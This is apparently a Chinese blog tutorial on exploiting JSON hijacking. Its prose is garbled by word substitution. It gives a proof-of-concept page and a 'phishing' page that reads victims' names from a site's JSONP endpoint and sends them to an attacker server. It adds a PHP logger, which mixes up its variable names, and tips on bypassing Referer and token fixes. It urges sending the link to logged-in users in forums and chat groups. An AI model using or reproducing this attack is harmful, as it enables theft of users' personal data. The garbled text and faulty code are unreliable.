小学生都会发掘的JSON Hijacking实战使用
JSON Hijacking缝隙的具体使用,有点相似与CSRF,不过原理使用方法不同,在这边文章我侧重解说json跨域绑架的使用环境建立与方法。
0×01缝隙的发掘
一般发掘的过程中,burpsuite署理的History做寻觅,过滤剩余不可能存在缝隙的一些链接,如下图所示:
咱们在回来包中json格局发现了如下的灵敏信息(用户Id,用户名,用户手机号码)。
0×02缝隙的证明之poc
提交缝隙,poc在众测时要分秒必争,所以这边用了最精简的一个POC。
假设回来的数据为:
txf({“data”:{“name”:”唐晓峰”}});
html>
head>
script>
function txf(a){
alert(a.data.name);
}
script>
script src=http://***.***.**/wm/User/getUserInfo?callback=txf>script>
body>
html>
即可如下弹窗:
0×03缝隙的使用之垂钓
1.预备一台web服务器,我直接phpstudy搭的。
附上服务器端的代码
json.php
$nickname=$_GET['name'];
$fp = fopen('info.txt','a');
$flag = fwrite($fp, "姓名: ".$name."rn");
?>html>
垂钓.html
head> title>txftitle>script> var xmlhttp; function txf(a) { xmlhttp=new XMLHttpRequest() var x="http://***.***.***/json.php?name="+a.data.name; xmlhttp.open("GET", x, true); xmlhttp.send(); }script>>script src=http://***.***.***?callback=txf>script>head>body> textarea>垂钓啦,傻瓜textarea>>body>html>
把垂钓链接http://***.***.***/垂钓.html发给该网站已登陆的用户,如论坛,社区QQ群,社区贴吧等,服务端即可获取到很多用户灵敏数据。
这边以hackone的一个项目为例:
0×04缝隙的修正与绕过
由于这个比如是小伙伴发过来的还没修正,所以都脱敏了,咱们再从开发修正的视点去考虑怎么绕过修正。
1.Referer白名单
子域名绕过,文件名绕过,空Referer绕过
2.添加token认证
token满足杂乱或许服务端加密,咱们无法绕过,假如token很简单,如纯数字,咱们能够测验遍历绕过
3.接口禁用
无敌的操作,无法绕过
总结:
十分有意思的一个绑架,曾经没有使用过,仅仅知道有这么个东西,一般众测或许项目上遇到我都是直接截图,声明一波灵敏信息走漏,然后就完毕了,很低危,这次实战使用之后,略微提高了一点逼格。